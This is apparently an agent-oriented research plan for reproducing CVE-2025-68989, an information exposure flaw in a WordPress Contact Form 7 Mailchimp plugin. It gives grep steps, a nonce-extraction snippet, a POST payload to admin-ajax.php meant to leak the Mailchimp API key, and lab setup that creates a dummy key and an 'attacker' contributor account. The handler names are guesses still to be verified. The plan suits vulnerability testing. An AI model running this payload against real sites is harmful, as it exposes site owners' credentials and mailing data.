Contact Form 7 Extension For Mailchimp <= 0.9.54 - Authenticated (Contributor+) Information Exposure

This research plan outlines the steps to investigate and exploit CVE-2025-68989, an information exposure vulnerability in the "Connect Contact Form 7 and Mailchimp" plugin.

---

1. Vulnerability Summary

• Vulnerability: Authenticated (Contributor+) Information Exposure.
• Plugin: Connect Contact Form 7 and Mailchimp (contact-form-7-mailchimp-extension).
• Affected Versions: <= 0.9.54.
• Root Cause: The plugin registers AJAX handlers to manage Mailchimp integration (e.g., retrieving API keys or list configurations). These handlers either lack a capability check or use a weak check (like edit_posts), allowing Contributor-level users to access sensitive data meant only for Administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php.
• HTTP Method: POST.
• Authentication: Required (Contributor role or higher).
• Vulnerable Action: Likely cf7_mailchimp_get_settings, cf7_mailchimp_fetch_lists, or similar (to be verified via grep).
• Preconditions:
  • The plugin must be active.
  • A Mailchimp API key should be configured by an administrator to demonstrate sensitive data exposure.

3. Code Flow Analysis (Targeted Exploration)

The agent should trace the input path starting from the AJAX registrations.

Step 1: Identify AJAX Handlers
Search for AJAX registrations in the plugin directory:

grep -rn "wp_ajax_" /var/www/html/wp-content/plugins/contact-form-7-mailchimp-extension/

Step 2: Locate Sensitive Data Retrieval
Look for functions that retrieve plugin options:

grep -rn "get_option" /var/www/html/wp-content/plugins/contact-form-7-mailchimp-extension/ | grep -E "api_key|mailchimp"

Step 3: Analyze Capability Checks
Once a potential handler (e.g., get_settings) is found in a file like admin/class-contact-form-7-mailchimp-extension-admin.php, check for the presence of current_user_can.

• Vulnerable pattern: Missing current_user_can or current_user_can('edit_posts').
• Secure pattern: current_user_can('manage_options').

4. Nonce Acquisition Strategy

The plugin likely enqueues scripts for its settings page or within the Contact Form 7 editor.

1. Identify the Script Handle: Search for wp_localize_script to find where the nonce is exposed.

   grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/contact-form-7-mailchimp-extension/
   

2. Determine Variable Name: Identify the JS object and key (e.g., cf7_mc_admin_obj.nonce).
3. Find Trigger Page: If the script is enqueued in the CF7 editor, navigate to a CF7 form edit page:
   • As an Admin/Contributor, find a form ID: wp post list --post_type=wpcf7_contact_form.
   • Navigate to: /wp-admin/admin.php?page=wpcf7&post=[ID]&action=edit.
4. Extract Nonce:

   // Example based on common naming conventions
   browser_eval("window.cf7_mc_admin_data?.nonce || window.cf7_mailchimp_obj?.nonce")
   

5. Exploitation Strategy

Assuming the vulnerable action is cf7_mc_get_settings (verify exact string from Step 1):

1. Preparation: Login as a Contributor user.
2. Request: Send an AJAX request to admin-ajax.php.
3. HTTP Payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=cf7_mc_get_settings&_ajax_nonce=[NONCE_FROM_STEP_4]
   

4. Response Analysis: If successful, the response will be a JSON object containing the mailchimp_api_key or related configuration details.

6. Test Data Setup

1. Configure Plugin: As Admin, set a dummy Mailchimp API key.

   wp option update cf7_mailchimp_api_key "sk_test_51MzSENSITIVE_DATA_12345"
   # Note: verify the actual option name in Step 2.
   

2. Create Attacker: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Ensure CF7 Form Exists:

   wp post create --post_type=wpcf7_contact_form --post_title="Test Form" --post_status=publish
   

7. Expected Results

• The AJAX request, when sent by a Contributor, returns a 200 OK response.
• The response body contains sensitive strings like the Mailchimp API Key, account email, or mailing list IDs.
• An unauthorized user (Contributor) has accessed data intended for manage_options users (Administrators).

8. Verification Steps

1. Manual Comparison: Use WP-CLI to retrieve the actual option value and compare it to the exploit output.

   wp option get cf7_mailchimp_api_key
   

2. Check Capability: Verify the Contributor cannot normally access the settings page via the UI (which should redirect or show "You do not have sufficient permissions").

9. Alternative Approaches

• REST API: Check if the plugin registers any REST routes via register_rest_route. If so, check if the permission_callback is __return_true or uses a weak check.
• Shortcode Leakage: Search for add_shortcode and check if any shortcode renders sensitive configuration data on the frontend when called by a Contributor in a post draft.
• Export Functionality: Look for AJAX actions related to "exporting" settings which might not have nonce or capability checks.